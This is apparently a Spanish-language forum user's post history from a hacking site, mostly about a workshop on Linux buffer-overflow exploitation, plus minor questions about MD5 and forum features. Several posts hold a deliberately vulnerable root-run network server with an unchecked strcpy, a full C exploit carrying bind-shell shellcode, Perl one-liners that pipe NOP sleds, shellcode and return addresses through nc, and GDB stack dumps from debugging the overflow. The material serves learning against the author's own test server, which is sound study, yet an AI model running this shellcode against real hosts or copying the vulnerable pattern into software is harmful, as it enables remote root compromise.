Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Garfield07

#1
Bueno, estaba leyendo por aquí y por allá, y he visto en varios post del foro cómo algunos sistemas acaban cifrando el resultado del proceso con MD5. Mi pregunta es... ¿cómo se cifran los hashes MD5? No busco programas ni cosas de ese tipo, sino saber el proceso de forma manual...

Un saludo y gracias!
Sagrini
#2
Bueno, puede que el título no sea muy elegante, pero es lo que se me ha ocurrido. Os explico:
Tengo una aplicación (Code 1) que estoy explotando. Ahora, he conseguido explotarla desde un comando en la consola. Y os escribo esto a causa del exploit que estoy haciendo y que no funciona ni grabándolo en un CD y oyéndolo al revés...
La cosa es que la shellcode se me "duplica" modificando el ret...

Os dejo algunos códigos, a ver si me podéis echar una manita...
__________________________________________________________________________________________
Exploit in action [Capt 0.1]

juanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31337
Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net
Creating socket... [OK]
Conecting target... [OK]
Creating buffer... [OK]
Sending buffer... [OK]

Now you can exec NC [nc -vv localhost 5074]
Be good!

juanra@Juanra:~/Escritorio/Serv$

__________________________________________________________________________________________
Serv in action [Capt 0.2]

juanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/Escritorio/Serv/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 03/03/2011 20:59:09
03/03/2011 20:59:09   Starting up...

03/03/2011 20:59:11   Got connection from 127.0.0.1:60359
03/03/2011 20:59:11   RECV 427 bytes: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
         RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
                                         

__________________________________________________________________________________________
Serv.c [Code 1]

#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>

int sockfd, newsock;

void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n");
close (newsock);
close (sockfd);
exit (0);
}

int times ()
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}

int handle_connect (char *buffer)
{
char buff [256];
strcpy (buff, buffer);

times ();
buff [strlen (buff)-1]='\0';
printf ("RECV %d bytes: %s\n", strlen (buff), buff);
}

int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);

if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);

sockfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));

listen (sockfd, 3);

times ();
printf ("Starting up...\n\n");

signal (SIGTERM, shutup);
signal (SIGINT, shutup);

while (1)
{
newsock=accept (sockfd, (struct sockaddr*)&client, &size);

times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));

cont=recv (newsock, &buffer, 1024, 0);
while (cont>1)
{
handle_connect (buffer);
cont=recv (newsock, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
close (newsock);
}
close (sockfd);
return 0;
}

__________________________________________________________________________________________
Exploit.c [Code 2]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main (int argc, char *argv [])
{
printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n");
if (argc != 3)
{
printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]);
return 1;
}

printf ("Creating socket...\t");
struct sockaddr_in host; int sockfd;
host.sin_family = AF_INET;
host.sin_port = htons (atoi (argv [2]));
host.sin_addr.s_addr = inet_addr (argv [1]);
memset (host.sin_zero, 0, 8);
if ((sockfd=socket (2, 1, 0))==-1)
{
printf ("[FAIL]\n\n");
return 1;
}
else printf ("[OK]\n");

printf ("Conecting target...\t");
if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
{
printf ("[FAIL]\n\n");
return 1;
}
else printf ("[OK]\n");

printf ("Creating buffer...\t");
char nops [168];
memset (nops, '\x90', 168);
puts (nops);
char shellcode [93] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
"\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
"\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
"\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
"\xcd\x80";
char ret [6] = "AAAA\x90";
char command [265];
strcpy (command, nops);
strcat (command, shellcode);
strcat (command, ret);
printf ("[OK]\n");

printf ("Sending buffer...\t");
if (send (sockfd, &command, strlen (command), 0)==-1)
{
printf ("[FAIL]\n\n");
return 1;
}
else printf ("[OK]\n\n");

printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n");
return 0;
}

__________________________________________________________________________________________
Exploit Perl [Capt 1]

juanra@Juanra:~/Escritorio/Serv$ perl -e 'print "\x90"x168 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x50\f8\xff\xbf" . "\x90"' | nc -vv localhost 31337
+++++++++++++++++++++++++++++++++++++++++++
juanra@Juanra:~/Escritorio/Serv$ nc -vv localhost 5074 [Conectarme como root :P]

__________________________________________________________________________________________
GDB look at ESP [Capt 2]
Citar
(gdb) x/5000x $esp
0xbffff800:   0x4050c389   0xb0e18950   0x3180cd66   0x686652d2
0xbffff810:   0x6643d213   0x6ae18953   0x89505110   0xcd66b0e1
0xbffff820:   0x44894080   0x43430424   0x80cd66b0   0x520cc483
0xbffff830:   0x66b04352   0x899380cd   0xcd3fb0d1   0xf9804180
0xbffff840:   0x52f67503   0x732f6e68   0x2f2f6868   0xe3896962
0xbffff850:   0xe1895352   0x80cd0bb0   0x41414141   0xb7ff6e90
0xbffff860:   0xb7fed1f8   0xb7fff2a0   0xbffffa0c   0xb7ff1413
0xbffff870:   0xb7e80428   0xb7fe25a2   0xb7ff7990   0xb7ff79b0
0xbffff880:   0xb7ffb028   0xb7ffbb31   0xb7ffbb31   0xb7ff7990
0xbffff890:   0xb7ff79b0   0xb7ffb028   0xb7ffbb31   0xb7fff2a0
0xbffff8a0:   0x00ffeff4      0x90909000   0x90909090   0x90909090
0xbffff8b0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff8c0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff8d0:   0x90909090   0x4050c031   0x4050c389   0xb0e18950
0xbffff8e0:   0x3180cd66   0x686652d2   0x6643d213   0x6ae18953
0xbffff8f0:      0x89505110   0xcd66b0e1   0x44894080   0x43430424
0xbffff900:   0x80cd66b0   0x520cc483   0x66b04352   0x899380cd
0xbffff910:   0xcd3fb0d1   0xf9804180   0x52f67503   0x732f6e68
0xbffff920:   0x2f2f6868   0xe3896962   0xe1895352   0x80cd0bb0
0xbffff930:   0x4050c031   0x4050c389   0xb0e18950   0x3180cd66
0xbffff940:   0x686652d2   0x6643d213   0x6ae18953   0x89505110
0xbffff950:   0xcd66b0e1   0x44894080   0x43430424   0x80cd66b0
0xbffff960:   0x520cc483   0x66b04352   0x899380cd   0xcd3fb0d1
---Type <return> to continue, or q <return> to quit---
0xbffff970:   0xf9804180   0x52f67503   0x732f6e68   0x2f2f6868
0xbffff980:   0xe3896962   0xe1895352   0x80cd0bb0   0x41414141
0xbffff990:   0xb7ff6e90   0xb7fed1f8   0xb7fff2a0   0xbffffa0c
0xbffff9a0:   0xb7ff1413   0xb7e80428   0xb7fe25a2   0xb7ff7990
0xbffff9b0:   0xb7ff79b0   0xb7ffb028   0xb7ffbb31   0xb7ffbb31
0xbffff9c0:   0xb7ff7990   0xb7ff79b0   0xb7ffb028   0xb7ffbb31
0xbffff9d0:   0xb7fff2a0   0xb7ffeff4      0xb7fe2000   0x00000007
0xbffff9e0:   0xb7fe2450   0x00000000   0x00000008   0x00000070
0xbffff9f0:      0xb7edf620   0x00000001   0xb7fe0d60   0x0804a054
0xbffffa00:   0xb7ffeff4      0x0000000c   0x00000007   0xbffffa94
0xbffffa10:   0xb7ff19ae   0x00000007   0x00000010   0x00000001
0xbffffa20:   0xb7fe25ce   0x00000000   0xb7fe2778   0xb7fe22f0
0xbffffa30:   0xb7fe0d40   0xb7fff014   0x00000002   0xb7fff2a0
0xbffffa40:   0xb7ff6e01   0x00000000   0xb7fe2290   0xb7fe2450
0xbffffa50:   0x00000000   0xb7ffef98   0x00000006   0xb7fe25ce
0xbffffa60:   0xb7fe2290   0x00000000   0x00000000   0xb7ff6f35
0xbffffa70:   0x00000008   0x00000088   0xb7ffeff4   0xbffffa94
0xbffffa80:   0xb7ff701e   0x00000088   0xbffffacc   0xbffffae8
0xbffffa90:   0x00000000   0xbffffabc      0xb7ff3209   0x00000011
0xbffffaa0:   0x00000008   0xb7e6d6c0   0x00000038   0x00000001
0xbffffab0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffac0:   0x00000000   0x00000208   0xb7fe26d0   0x000000a8
0xbffffad0:   0x00000000   0x00000000   0x00000000   0xb7fe0dcc
---Type <return> to continue, or q <return> to quit---
0xbffffae0:   0xb7fea3b2   0xb7fd1000   0x0000df31   0xb7ffeff4
0xbffffaf0:      0xbffffcb0      0xb7fe536d   0xb7e7a400   0x0d696910
0xbffffb00:   0xbffffb38      0xb7feabe8   0xb7e8041e   0x0804848d
0xbffffb10:   0x00000000   0xb7fff948   0xb7fe0b40   0xbfff0002
0xbffffb20:   0xb7ff0ca8   0x080483dc   0xb7fff954   0xb7ffeff4
0xbffffb30:   0xb7fe0b14   0x00000001   0xbffffbb4   0xb7feafdd
0xbffffb40:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffb50:   0x00000000   0xb7ffae88   0xbffffb80   0x00000000
0xbffffb60:   0xf63d4e2e   0xb7fe0858   0x07b1ea71   0x00000003
0xbffffb70:   0xb7e71d10   0xb7e71b08   0x00000000   0x00000000
0xbffffb80:   0x00000000   0x00000000   0x00000001   0x0000086f
0xbffffb90:   0xb7fe0b40   0xb7fe0858   0x08048475   0xb7e7ac20
0xbffffba0:   0x080482ac   0x00000001   0xb7ffeff4   0xf63d4e2e
0xbffffbb0:   0xb7fff828   0xbffffca0      0xb7feb1ef   0xbffffc90
0xbffffbc0:   0x080482ac   0xbffffc84      0xb7fff7cc   0x00000000
0xbffffbd0:   0xb7fe0b40   0x00000001   0x00000000   0x00000001
0xbffffbe0:   0xb7fff658   0x00000000   0x00010000   0x00000000
0xbffffbf0:      0xb7fe1168   0x00000000   0xbffffc90      0xbffffc84
0xbffffc00:   0x00000000   0x00000000   0x00000000   0xbffffcd0
0xbffffc10:   0xb7fff670   0x08048475   0x00000000   0x00000000
0xbffffc20:   0x00000000   0x00000000   0xb7fe3000   0x697a0002
0xbffffc30:   0x00000000   0x00000000   0x00000000   0xb2b70002
0xbffffc40:   0x0100007f   0x00000000   0x00000000   0x302f3330
---Type <return> to continue, or q <return> to quit---
0xbffffc50:   0x30322f33   0x32203131   0x31333a30   0x0030333a
0xbffffc60:   0xb7f8f329   0x08049ff4   0xbffffc78      0x080485d0
0xbffffc70:   0xb7fccff4      0x4d6fec92   0xb7fd0360   0x00000165
0xbffffc80:   0xbffffca0      0xb7fccff4      0xbffffcf8      0xb7e84775
0xbffffc90:   0x08048bd0   0x08048750   0xbffffcf8      0xb7e84775
0xbffffca0:   0x00000002   0xbffffd24      0xbffffd30      0xb7fe0b40
0xbffffcb0:   0x00000001   0x00000001   0x00000000   0x08048475
0xbffffcc0:      0xb7fccff4      0x08048bd0   0x08048750   0xbffffcf8
0xbffffcd0:   0xb5bf4009   0x9ac87419   0x00000000   0x00000000
0xbffffce0:   0x00000000   0xb7ff57f0   0xb7e8469d   0xb7ffeff4
0xbffffcf0:      0x00000002   0x08048750   0x00000000   0x08048771
0xbffffd00:   0x08048908   0x00000002   0xbffffd24      0x08048bd0
0xbffffd10:   0x08048bc0   0xb7ff07b0   0xbffffd1c      0xb7ffbd83
0xbffffd20:   0x00000002   0xbffffe28      0xbffffe4a      0x00000000
0xbffffd30:   0xbffffe50      0xbffffe60      0xbffffe6b      0xbffffe75
0xbffffd40:   0xbffffe86      0xbffffe94      0xbffffea2      0xbffffead
0xbffffd50:   0xbffffefe      0xbfffff1f      0xbfffff30      0xbfffff39
0xbffffd60:   0xbfffff41      0xbfffff63      0xbfffff75      0xbfffff82
0xbffffd70:   0xbfffff90      0xbfffff9d      0xbfffffb6      0x00000000
0xbffffd80:   0x00000020   0xb7fe1420   0x00000021   0xb7fe1000
0xbffffd90:   0x00000010   0xbfebfbff      0x00000006   0x00001000
0xbffffda0:   0x00000011   0x00000064   0x00000003   0x08048034
0xbffffdb0:   0x00000004   0x00000020   0x00000005   0x00000008
---Type <return> to continue, or q <return> to quit---
0xbffffdc0:   0x00000007   0xb7fe2000   0x00000008   0x00000000
0xbffffdd0:   0x00000009   0x08048750   0x0000000b   0x00000000
0xbffffde0:   0x0000000c   0x00000000   0x0000000d   0x00000000
0xbffffdf0:      0x0000000e   0x00000000   0x00000017   0x00000000
0xbffffe00:   0x0000001f   0xbfffffda      0x0000000f   0xbffffe1b
0xbffffe10:   0x00000000   0x00000000   0x69000000   0x00363836
0xbffffe20:   0x00000000   0x00000000   0x6d6f682f   0x756a2f65
0xbffffe30:   0x61726e61   0x6373452f   0x6f746972   0x2f6f6972
0xbffffe40:   0x76726553   0x7265732f   0x31330076   0x00373333
0xbffffe50:   0x4c454853   0x622f3d4c   0x622f6e69   0x00687361
0xbffffe60:   0x4d524554   0x6574783d   0x55006d72   0x3d524553
0xbffffe70:   0x746f6f72   0x44555300   0x53555f4f   0x6a3d5245
0xbffffe80:   0x726e6175   0x55530061   0x555f4f44   0x313d4449
0xbffffe90:   0x00303030   0x52455355   0x454d414e   0x6f6f723d
0xbffffea0:   0x4f430074   0x4e4d554c   0x30383d53   0x54415000
0xbffffeb0:   0x752f3d48   0x6c2f7273   0x6c61636f   0x6962732f
0xbffffec0:   0x752f3a6e   0x6c2f7273   0x6c61636f   0x6e69622f
0xbffffed0:   0x73752f3a   0x62732f72   0x2f3a6e69   0x2f727375
0xbffffee0:   0x3a6e6962   0x6962732f   0x622f3a6e   0x2f3a6e69
0xbffffef0:      0x2f727375   0x52313158   0x69622f36   0x5750006e
0xbfffff00:      0x682f3d44   0x2f656d6f   0x6e61756a   0x452f6172
0xbfffff10:      0x69726373   0x69726f74   0x65532f6f   0x4c007672
0xbfffff20:      0x3d474e41   0x455f7365   0x54552e53   0x00382d46
---Type <return> to continue, or q <return> to quit---
0xbfffff30:      0x454e494c   0x34323d53   0x4c485300   0x303d4c56
0xbfffff40:      0x44555300   0x4f435f4f   0x4e414d4d   0x752f3d44
0xbfffff50:      0x622f7273   0x672f6e69   0x2d206264   0x65732071
0xbfffff60:      0x48007672   0x3d454d4f   0x6d6f682f   0x756a2f65
0xbfffff70:      0x61726e61   0x474f4c00   0x454d414e   0x6f6f723d
0xbfffff80:      0x55530074   0x475f4f44   0x313d4449   0x00303030
0xbfffff90:      0x50534944   0x3d59414c   0x302e303a   0x4c4f4300
0xbfffffa0:      0x4554524f   0x673d4d52   0x656d6f6e   0x7265742d
0xbfffffb0:      0x616e696d   0x4158006c   0x4f485455   0x59544952
0xbfffffc0:      0x6f682f3d   0x6a2f656d   0x726e6175   0x582e2f61
0xbfffffd0:      0x68747561   0x7469726f   0x682f0079   0x2f656d6f
0xbfffffe0:      0x6e61756a   0x452f6172   0x69726373   0x69726f74
0xbffffff0:      0x65532f6f   0x732f7672   0x00767265   0x00000000

Un saludo a todos y muchas gracias...
#3
Pues me ha surgido una pequeña duda... ¿cuál fue mi primer mensaje en el foro? Voy a mi perfil y veo que es un tutorial de cómo hacer mi mini-firma de Matrix. El problema es que ESE no fue mi primer mensaje, antes fueron muchos otros... Miro en el perfil de el-brujo y me encuentro...
CitarEfectivamente decowar, no hay ningún problema para postear URL e incluso otras páginas. Contra más información, creo que mejor.
¿?¿?¿? Realmente eso no puede ser. Miro en otros perfiles y ocurre lo mismo.

La duda final es... ¿Qué pasó con las primeras intervenciones de cada uno?

Un saludo!
Sagrini
#4
Bugs y Exploits / ¿ Fallo BoF Remoto Linux ?
18 Febrero 2011, 01:10 AM
Bueno, después de solucionar el último problema ( y colgarlo ) me he puesto a explotar el dichoso servidor de pruebas que he hecho para el taller. Os vuelvo a remitir el código...

#include <sys/socket.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <signal.h>
#include <time.h>

int socketfd, newsocket;

int vuln (char *trampa)
{
char buffer [100];
strcpy (buffer, trampa);
}

void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n");
close (newsocket);
close (socketfd);
exit (0);
}

int times ()
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}

int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);

if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);

socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));

listen (socketfd, 3);

times ();
printf ("Starting up...\n\n");

signal (SIGTERM, shutup);
signal (SIGINT, shutup);

while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);

times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));

cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
times ();
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);

vuln (buffer);
cont=recv (newsocket, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
close (newsocket);
}
close (socketfd);
return 0;
}



Y os remito el comando que estoy usando para explotar el fallo... [8 nops + 92 shellcode + 4 ret  + 1 null']

juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf" . "\x00"' | nc -vv localhost 5555555

El null lo pongo porque en la línea ...

while (cont>2)
{
times ();
--> buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);

... el último byte (se programó así por el \n de muchos clientes) se borra.


El caso es que compilo sin ninguna protección...

juanra@Juanra:~$ sudo gdb -q ./serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 01:05:14
18/02/2011 01:05:14   Starting up...

18/02/2011 01:05:21   Got connection from 127.0.0.1:45163
18/02/2011 01:05:21   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                          Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb) x/16x 0xbffff801
0xbffff801: 0x00000000 0x07000000 0x04000000 0x07000000
0xbffff811: 0x1c000000 0x10bffff8 0x02000000 0x00697a00
0xbffff821: 0x02000000 0x01000000 0x00000000 0xc4000000
0xbffff831: 0x00bffff7 0x5c000000 0x00bffff8 0xc4000000
(gdb) i r eip
eip            0xbffff801 0xbffff801
(gdb)

Fallo de segmentación al principio de la pila. Preguntas: ¿Por qué? ¿Cómo lo arreglo?
Llevo toda la noche pensando, pero no se me ocurre nada... Qué puede ser?

PD: Si os hace falta más información preguntadme.
Gracias! Un saludo
Sagrini
#5
MODF: Como veo que no interesa mucho resolverlo (mi bandeja está a cero) pongo la respuesta...
buffer [cont-1]='\0';
Ahí se fastidia todo. El último byte se pone a cero. Como se arregla? Pues poniendo un último byte (por ejemplo, un nop) al final de la cadena...
Código (bash) [Seleccionar]
sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335

Un saludo!
____________________________________________________________________________________________________________

Aclaro que esto es algo que ya he solucionado, sólo que me ha resultado tan curioso que lo he puesto aquí xD.
Pista: Todo consiste en leer.

Bueno, estaba preparando todo para el taller de exploiting y me he encontrado con una situación un tanto curiosa...
Tengo este código vulnerable en C...

#include <sys/socket.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <signal.h>
#include <time.h>

int socketfd, newsocket;

int feo ()
{
printf ("FEO");
exit (1);
}

int vuln (char *trampa)
{
char buffer [100];
strcpy (buffer, trampa);
}

void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n");
close (newsocket);
close (socketfd);
exit (0);
}

int times ()
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}

int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);

if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);

socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));

listen (socketfd, 3);

times ();
printf ("Starting up...\n\n");

signal (SIGTERM, shutup);
signal (SIGINT, shutup);

while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);

times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));

cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
times ();
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);

vuln (buffer);
cont=recv (newsocket, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
close (newsocket);
}
close (socketfd);
return 0;
}


Y lo estaba explotando con este comando...
sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335

Ahora, abría con GDB y me mostraba esto...

(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07   Starting up...

18/02/2011 00:02:10   Got connection from 127.0.0.1:57358
18/02/2011 00:02:10   RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��

Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)


La pregunta es... ¿qué le pasa?
PD: Algunos os reiréis del código vulnerable, pero es lo que tenía a mano xD luego lo pasaremos xD
PD2: Es algo sencillo, pero me ha distraído un rato. Por favor, respuestas por PM xD.

Ganadores
Nadie xD
#6
Hola! Un usuario del taller propuso usar la hora del foro para todos, y así evitar problemas de zona horaria. Aquí el post se divide en dos...

1) Duda: ¿La hora del foro es igual para todas las zonas horarias o es la de un sitio concreto y cambia por paises?
2) Sugerencia: Uso el theme elhacker.NET Web. Ahora, he buscado un poco y no he encontrado la hora. ¿Se podría poner el reloj en todos los themes?

Gracias! Un saludo
Sagrini
#7

Bueno, vamos a usar este post para ir colgando las entregas del curso de exploiting de elhacker.net. Aclaro que las entregas se irán colgando junto a su correspondiente PWP de explicación de las conferencias y los códigos de pueba. Para apuntaros, pasaros por el post creado con ese objeto.
En este post sólo y unicamente yo postearé, colgando cada  entrega. Para mantener el orden, por favor no posteéis en este post. Ahora, se creará un post de dudas de cada entega.
Empezamos:

0. Main-Utils. Utilidades básicas para empezar.
-----------------------------------------------------------------
1. BoF locales en entornos Linux. Sin protecciones
2. BoF locales en entornos Linux. Saltando protecciones.
3. BoF remotos en entornos Linux. Saltando protecciones.
4. String Formats en entornos Linux.
5. Etc.
$. Análisis de una aplicación de código libre en linux.
#. Video-confencias para inscritos.

Se irán poniendo en negrita los ya entregados. Suerte!
Esta es la idea principal, se irá aumentando... Cualquier duda o sugerencia sobe esto por PM, por favor...
Si queréis colaborar, mandadme un PM o un email...
Os espero!
#8
Bueno, aunque algunos me conocerán del foro, voy a presentarme :P pues nunca lo he hecho xD:
Soy Sagrini, y vivo en la décima esquina del mundo (Almería jeje). La cosa es que el otro día vi un post preguntando por hackers de Mallorca, y me he decidido a preguntar también. La pegunta es: De 200.000 users... ¿alguien vive por aquí? Es sencillamente curiosidad, quien sabe qué más, ya veremos más adelante...

Saludos y gracias xD!
#9
¡ Se ha cerrado el plazo de inscripción del curso ! ¡ Arrancamos !
-----------------------------------------------------------------------------------------------------
¡ Se ha colgado el punto 0 en el post de las entregas !
-----------------------------------------------------------------------------------------------------
Publicación organización de grupos (max) : Sábado 12 de febrero, 23:59:59 hora Española
Sería recomendable mandarme un PM con vuestras horas de disponibilidad
-----------------------------------------------------------------------------------------------------

Bueno, Ivanchuk y yo hemos decidido empezar con este cuso / taller de exploiting en el foro. El curso se está desarrollando, pero ya tenemos las ideas en el horno. Daré una idea de como iría:

0. Main-Utils. Utilidades básicas para empezar.
-----------------------------------------------------------------
1. BoF locales en entornos Linux. Sin protecciones
2. BoF locales en entornos Linux. Saltando protecciones.
3. BoF remotos en entornos Linux. Saltando protecciones.
4. String Formats en entornos Linux.
5. Etc.
$. Análisis de una aplicación de código libre en linux.
#. Video-confencias para inscritos.

Esto sería una idea mínima, evidentemente irá para más.
Tenemos un servidor SSH montado y funcionando para pruebas remotas. Tenemos los primeros cursos en el horno. Y tenemos unos cuantos interesados. ¿Quieres participar? ¡Pues apúntate!
Para interesados, sencillamente responded a este tema y os  añadiremos a la lista! Y si quieres colaborar con los cursos, mándanos un PM o un correo electrónico a Ivanchuk o a mí. ¡Estaremos encantados de tu ayuda!

La lista de inscripción estará abierta hasta dentro de unas semanas. Cuando tengamos las primeras entregas listas empezaremos dando el cusillo. Cabe destacar que como es el el foro, es para los usuarios, no para los usuarios inscritos. Así que las entregas y las preguntas estarán abiertas para todos.... La diferencia es que los inscritos tendrán acceso a una máquina ssh, cortesía de Ivanchuck, para prácticas, y participarán en las conferencias. La inscripción es completamente gratis, y los horarios de las conferencias se verán por disponibilidad.
Los conocimientos minimos son saber leer. Está abierto para todos, de todas las edades y todos los sitios del planeta. Se verá todo paso, y habrá partes avanzadas.

----------------------------------------------------------------
